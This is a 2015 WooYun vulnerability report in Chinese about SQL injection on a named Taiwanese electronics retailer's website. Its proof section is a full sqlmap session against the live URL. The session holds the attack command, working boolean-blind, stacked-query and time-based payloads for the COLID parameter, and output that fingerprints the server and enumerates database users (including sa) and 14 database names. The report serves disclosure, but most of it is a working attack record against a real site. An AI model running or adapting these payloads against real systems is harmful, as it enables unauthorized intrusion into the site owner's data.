当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103609

漏洞标题:台灣某電子門戶網站SQL Injection

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: 路人甲

提交时间:2015-03-26 17:14

修复时间:2015-03-31 17:16

公开时间:2015-03-31 17:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-26: 细节已通知厂商并且等待厂商处理中
2015-03-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

台灣某電子門戶網站SQL Injection

详细说明:

本公司於為經濟部核准之合法公司,經營數位相關產品相當久的時間,代理經銷數位相機、數位攝影機、教材提示機、數位錄音機、液晶投影機、LED等數位產品,數位產品之專業代理商
 
資深的線上購物 1994年成立
1994 交通部電信局成立HiNet供民眾連上Internet,「傑瑞的網路指南」更名為「Yahoo!」,同年觀泰實業將WWW 服務加入了網路購物,經過了三年,1997年正式成立數位蘋果網 http://www.fuji.com.tw, 作超資深網路購物,透過Internet 提供消費者各種數位產品與資訊,網路發展上領先同業,十多年不斷更新,提供更多更新的資訊與產品,向最佳入口網站邁進。
 
專業嚴選 完整可靠的售後服務
數位相機、攝影機、投影機、單眼相機只販售總代理公司貨,絕對不販賣水貨、贓貨、假貨,專業嚴優質產品,只要選擇數位蘋果網,買的安心,用的安心

QQ截图20150325111204.png


QQ截图20150325111212.png


QQ截图20150325111225.png


漏洞证明:

[root@Hacker~]# Sqlmap Sqlmap sqlmap.py -u "http://w1.fuji.com.tw/promain.asp?COLID=199" --dbs --passwords --current-user --current-db --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obe
[*] starting at 09:47:19
[09:47:19] [INFO] testing connection to the target URL
[09:47:22] [INFO] testing if the target URL is stable. This can take a couple of seconds
[09:47:24] [INFO] target URL is stable
[09:47:24] [INFO] testing if GET parameter 'COLID' is dynamic
[09:47:24] [INFO] heuristics detected web page charset 'Big5'
[09:47:24] [INFO] confirming that GET parameter 'COLID' is dynamic
[09:47:27] [WARNING] GET parameter 'COLID' does not appear dynamic
[09:47:31] [WARNING] heuristic (basic) test shows that GET parameter 'COLID' might not be injectable
[09:47:31] [INFO] testing for SQL injection on GET parameter 'COLID'
[09:47:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:47:37] [WARNING] reflective value(s) found and filtering out
[09:47:37] [INFO] GET parameter 'COLID' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[09:47:40] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n]
[09:48:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:48:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:48:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[09:48:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:48:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:48:12] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[09:48:13] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[09:48:16] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[09:48:16] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[09:48:17] [INFO] testing 'MySQL inline queries'
[09:48:17] [INFO] testing 'PostgreSQL inline queries'
[09:48:17] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[09:48:17] [INFO] testing 'Oracle inline queries'
[09:48:18] [INFO] testing 'SQLite inline queries'
[09:48:18] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[09:48:18] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.
[09:48:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[09:48:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[09:49:19] [INFO] GET parameter 'COLID' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[09:49:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[09:49:19] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[09:50:19] [INFO] GET parameter 'COLID' is 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)' injectable
[09:50:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:50:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique
GET parameter 'COLID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 56 HTTP(s) requests:
---
Place: GET
Parameter: COLID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: COLID=199 AND 5281=5281
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: COLID=199; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: COLID=199 AND 3498=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysu
---
[09:52:16] [INFO] testing Microsoft SQL Server
[09:52:21] [INFO] confirming Microsoft SQL Server
[09:52:24] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[09:52:24] [INFO] fetching current user
[09:52:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:52:24] [INFO] retrieved: F1ORDU
current user: 'F1ORDU'
[09:53:59] [INFO] fetching current database
[09:53:59] [INFO] retrieved: acc
current database: 'acc'
[09:54:42] [INFO] testing if current user is DBA
[09:54:42] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
[09:54:42] [INFO] fetching database users password hashes
[09:54:42] [INFO] fetching database users
[09:54:42] [INFO] fetching number of database users
[09:54:42] [INFO] retrieved: 2
[09:54:47] [INFO] retrieved: F1ORDU
[09:56:24] [INFO] retrieved: sa
[09:56:46] [INFO] fetching number of password hashes for user 'F1ORDU'
[09:56:46] [INFO] retrieved: 0
[09:56:53] [WARNING] unable to retrieve the number of password hashes for user 'F1ORDU'
[09:56:53] [INFO] fetching number of password hashes for user 'sa'
[09:56:53] [INFO] retrieved: 0
[09:56:56] [WARNING] unable to retrieve the number of password hashes for user 'sa'
[09:56:56] [ERROR] unable to retrieve the password hashes for the database users (most probably because the session user has no read privileges
[09:56:56] [INFO] fetching database names
[09:56:56] [INFO] fetching number of databases
[09:56:56] [INFO] retrieved: 14
[09:57:07] [INFO] retrieved: a
[09:57:49] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
cc
[09:58:10] [INFO] retrieved: flnews
[09:59:41] [INFO] retrieved: master
[10:01:37] [INFO] retrieved: model
[10:03:03] [INFO] retrieved: m
[10:03:45] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
sdb
[10:05:21] [INFO] retrieved: ndcdb
[10:06:38] [INFO] retrieved: newsb
[10:08:17] [INFO] retrieved:
[10:08:53] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
out
[10:10:04] [INFO] retrieved: prod
[10:12:23] [INFO] retrieved: sample1
[10:15:06] [INFO] retrieved: shopmd
[10:18:34] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
b
[10:18:47] [INFO] retrieved: stor
[10:21:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[10:21:21] [INFO] retrieved: tempdb
[10:24:29] [INFO] retrieved: user
[10:26:35] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
available databases [14]:
[*] [out]
[*] [user]
[*] acc
[*] flnews
[*] master
[*] model
[*] msdb
[*] ndcdb
[*] newsb
[*] prod
[*] sample1
[*] shopmdb
[*] stor
[*] tempdb
[10:26:37] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 457 times
[10:26:37] [INFO] fetched data logged to text files under 'E:\INJECT~1\SQLMAP~1.4\Bin\output\w1.fuji.com.tw'
[*] shutting down at 10:26:37

修复方案:

null

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-03-31 17:16

厂商回复:

最新状态:

暂无